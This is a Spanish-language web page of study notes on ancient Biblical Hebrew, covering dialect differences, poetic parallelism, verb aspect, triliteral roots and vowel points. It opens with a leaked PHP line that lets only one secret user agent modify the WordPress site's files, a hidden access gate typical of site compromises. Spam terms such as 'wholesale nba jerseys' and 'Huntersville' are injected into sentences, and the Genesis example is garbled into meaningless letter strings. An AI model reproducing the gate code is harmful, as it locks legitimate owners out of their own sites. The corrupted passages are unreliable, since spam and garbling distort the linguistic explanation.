if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } características del hebreo – Texto Bíblico

Diferencias lingüísticas

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

Diferencias lingüísticas

Se pueden observar leves diferencias dialectales entre los diversos escritores de la Biblia. La existencia de tales diferencias entre las diversas tribus de Israel era bien conocida en los tiempos bíblicos. Esto se sabe por el relato de los efraimitas que no podían articular el sonido consonántico sh. Por eso pronunciaban “Shibolet” como “Sibolet” (Jueces 12:5,6).Sin embargo, en su conjunto el hebreo del Antiguo Testamento muestra gran uniformidad. Son muy pequeñas las diferencias lingüísticas entre los primeros escritores y los posteriores. Este hecho ha sido explicado por los eruditos de la alta crítica como una evidencia de que todos los libros del Antiguo Testamento fueron escritos en un período comparativamente corto. Sin embargo, es más razonable deducir que el hebreo en tiempos remotos se había fijado como idioma literario. Es decir, experimentó sólo leves cambios con el correr de los siglos cuando se escribieron los libros del Antiguo Testamento.

Con todo, hay señaladas diferencias entre la prosa y la poesía del Antiguo Testamento. A esta última pertenecen no sólo los Salmos y Job sino también muchas partes de los libros proféticos, como Isaías. La poesía hebrea difiere de la prosa por su uso de un vocabulario poético y de paralelismos. Los lectores de la versión Reina -Valera -antes de la revisión del 60- no siempre advertían ese paralelismo puesto que esa versión estaba impresa como si toda la Biblia hubiera estado escrita en prosa. Pero si uno abre una traducción moderna, como la Biblia de Jerusalén, inmediatamente advierte el paralelismo, porque las secciones poéticas del Antiguo Testamento están impresas como poesía. Esto se puede apreciar en el siguiente ejemplo tomado de los Salmos:

“Escucha mi ley, oh pueblo mío,
tiende tu oído a las palabras de mi boca;
voy a abrir mi boca en parábolas,
a evocar los misterios del pasado.
Lo que hemos oído y que sabemos,
lo que nuestros padres nos contaron,
no se lo callaremos a sus hijos,
a la futura generación lo contaremos.
Las laudes de Yahvéh y su poderío,
las maravillas que hizo” (Salmo 78:1-4, BJ).

Los libros poéticos abundan en sinónimos, los que casi constituyen un vocabulario poético especial del hebreo antiguo. Job 4:10,11 puede servir como una ilustración de esto. En estos dos versículos se encuentran cinco términos diferentes para “león”, que por falta de un equivalente mejor se han traducido en la VVR con términos tan prosaicos como “león”, “rugiente”, “leoncillos”, “león viejo” y “leona”. Se puede entender fácilmente que la riqueza de expresiones en los libros poéticos del Antiguo Testamento haya sido con frecuencia un motivo de desesperación para el novicio en hebreo.

Puesto que el hebreo antiguo ha sido una lengua muerta por muchos siglos, pocas personas lo aprenden como para que puedan usarlo tan fluidamente como un idioma moderno. Sin embargo, los que se empeñan en dominar completamente el hebreo antiguo, descubren en él inesperadas bellezas. El idioma hebreo, debido a su fuerza, a su intensidad de expresión y a su belleza, es un medio incomparable como vehículo de la poesía religiosa.

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Características del hebreo – III

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

Características del hebreo – III

La inflexión verbal hebrea expresa sólo acción en términos de ser ésta completa o incompleta, nunca en el sentido de presente, pasado o futuro, como los verbos en español. El tiempo es tácito y no explícito. Los verbos que denotan una acción completa, comúnmente llamada “perfecta”, se traducen generalmente con el tiempo pasado, al paso que los que denotan una acción incompleta se dice que corresponden con el “imperfecto” y usualmente se traducen como si fueran futuros.

En términos generales, este proceder puede ser comparativamente exacto, pero a veces es completamente engañoso. Para determinar si la acción señalada por el verbo ocurrió realmente cuando se escribía o hablaba, o antes o después de ese tiempo, es necesario descubrir con ayuda del contexto el punto de vista del escritor.

Además el autor podía cambiar su enfoque temporal dentro de un mismo pasaje, yendo al futuro o al pasado, sin anunciarlo. De modo que si su enfoque está en el futuro lejano, puede tratar otros acontecimientos futuros como si estuvieran en el pasado. Pero en la declaración siguiente puede volver al tiempo pasado y describir acontecimientos pasados o presentes como si estuvieran en el futuro.

Como para complicar más el asunto, la construcción con vau consecutiva, que conecta las partes que componen una narración, algo así como lo hace nuestro sistema de dividir en párrafos, con frecuencia requiere que un “imperfecto” se entienda como “perfecto” y viceversa.

Cuando se hicieron las primeras traducciones de la Biblia al inglés, se entendía imperfectamente esta peculiaridad de los verbos hebreos, lo que resultó en frecuentes diferencias entre el inglés y el hebreo.

En términos generales, las traducciones más recientes tienden a reflejar el elemento temporal de los verbos hebreos más exactamente que las traducciones previas. Por otro lado, las traducciones modernas quizá no siempre representen el verdadero punto de vista temporal del escritor.

Esto se debe a que con frecuencia una decisión en cuanto al enfoque del autor, particularmente en la predicción profético, depende del concepto de la inspiración que tenga el lector.

El que cree en el don de profecía, da por sentado que el profeta proyecta su mente hacia el futuro, con frecuencia el futuro remoto. Pero el que niega el valor productivo de la profecía, dirá que el profeta sencillamente está describiendo sucesos pasados.

Por lo dicho es obvio que, a fin de determinar con cierto grado de exactitud el elemento temporal preciso en una declaración profético dada, el lector debe:

(1) tener un concepto válido de la inspiración;
(2) descubrir el enfoque temporal del autor en términos del concepto que el propio lector tiene acerca de la inspiración;
(3) interpretar los tiempos de los verbos en armonía con los requisitos de la gramática hebrea y con el enfoque temporal del autor.

Un ejemplo de este problema se presenta en la última parte del libro de Isaías – a la que comúnmente la alta crítica llama “Déutero-Isaías” – pues supone la existencia de un segundo escritor anónimo como su autor.

En parte considerando que Isaías habla de los sufrimientos de los judíos durante el cautiverio en Babilonia como si estuvieran en el pasado (Isaías 40:1,2, etc.), esos críticos concluyen que los capítulos 40 a 66 fueron escritos por otro autor, o autores, después del cautiverio. Sin embargo, el hecho de que las formas verbales denoten acción completada, no implica necesariamente, ni mucho menos, que los sucesos descritos allí ya habían ocurrido en el tiempo cuando escribió el profeta. Evidentemente, a Isaías se le habían mostrado el cautiverio y la restauración mediante inspiración profética, y habiendo ya visto esos sucesos, habló de ellos como si hubieran estado en el pasado.

En Isaías 53 se encuentra otro ejemplo de la forma en que la mente del profeta se proyecta hacia el futuro. En el hebreo de los vers. 1 a 9 (y así también en la Biblia de Jerusalén o BJ), Isaías proyecta su mente hacia el futuro profético y habla de los sufrimientos de Cristo como si estuvieran en el pasado. Pero en el vers. 10 su enfoque temporal vuelve a sus propios días, y continúa describiendo los mismos sucesos como si estuvieran en el futuro. Una comparación de las diferencias en el elemento temporal de los verbos de Isaías 53 – como se traducen en la VVR y en la BJ – hace resaltar el problema de la traducción de los “tiempos” de los verbos hebreos.

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Características del hebreo – I


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LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

Características del hebreo – I

El hebreo es una rama de la gran familia de antiguos idiomas semíticos que se hablaban Krant en Mesopotamia, Siria, Palestina y Arabia. Está muy estrechamente relacionado con los idiomas hablados por los antiguos cananeos, fenicios y sirios, y es casi idéntico a los de los moabitas, edomitas y amonitas.

El idioma hablado por los naturales de Canaán apenas si se diferenciaba code del hebreo bíblico. Una característica interesante El que el hebreo comparte con todos los idiomas semíticos es que la mayoría de sus palabras básicas contienen tres consonantes.

El hebreo escrito de los tiempos bíblicos consistía sólo en consonantes:

NLPRNCPCRDSLSCLSLTRRLTRRSTBDSRDNDVCLSTNBLSSTBN

SBRLFZDLBSMLSPRTDDSSMVSBRLFZDLSGSDJDSSELLZFLL

En el principio wholesale jerseys creó Dios los cielos y la tierra. Biblia Y la tierra estaba desordenada y vacía, y las tinieblas estaban sobre la faz del abismo, y el Espíritu de Dios se movía sobre la faz de las aguas. Y dijo Dios: Sea la luz; y fue la luz.” (Génesis 1:1-3).

b-r'shyth

בראשית   ברא  אלהים    את   השמים   ואת   הארץ

h’rts       w-‘th      h-shmym     ‘th          ‘lhym     Huntersville      br’    g?r b-r’shyth

 

El alfabeto hebreo tiene muchas letras que se parecen mucho entre sí. Observe por ejemplo, la íntima similitud entre las letras siguientes:

letras

Las vocales se añadieron cuando el hebreo ya se había convertido en lengua muerta, varios siglos después de Cristo, en un esfuerzo para preservar el conocimiento de cómo se había hablado el idioma. Esas vocales, conocidas como puntos vocálicos, eran puntos y signos añadidos sobre, debajo y en el centro de las letras consonantes. Las variaciones en las formas verbales son producidas generalmente por un cambio en la vocalización, es decir en el sonido de las vocales.

Por ejemplo, en español, el tiempo presente del verbo cantar, canto, se puede transformar en el pasado canté y en el imperativo canta, meramente por el cambio de la vocalización.

El verbo escribir en hebreo, contiene tres consonantes: k-t-b.

Los ejemplos que siguen mostrarán cómo se generan diversas formas verbales mediante el uso de vocales, sin necesidad de alterar las tres consonantes básicas:

katab, (él) ha escrito
ketob, ¡escribe! (imperativo)
koteb, escribiendo
katub, está escrito
katob, escribir.

En la mayoría de los casos, los pronombres wholesale nba jerseys personales se añaden al verbo como prefijos o sufijos. Así la forma “he escrito”, wholesale mlb jerseys katab-ti, consiste en la raíz básica katab y la terminación –ti, que representa el pronombre; y “escribiré”,‘e-ktob, en el prefijo ‘e – y la raíz ktob.

Estas formas gramaticales cortas son la razón para que las oraciones hebreas sean breves, compactas y expresivas.

Por ejemplo, el séptimo mandamiento, “No cometerás adulterio” (Éxodo 20:14), consiste en tres palabras en castellano, pero sólo dos en hebreo: lo’ tin’af.

Esta brevedad de las expresiones en hebreo se advierte especialmente en las partes poéticas del Antiguo Testamento.

En la mayoría de los casos, el texto hebreo emplea la mitad de las palabras usadas en la traducción inglesa. Por ejemplo, el Salmo 23 tiene 57 palabras en la Biblia hebrea, pero tiene 103 en español (versión Valera revisada) y 122 en inglés (versión King James); Job 30: 22 tiene sólo seis palabras en hebreo, pero tiene 14 en la versión en español y 18 en inglés.

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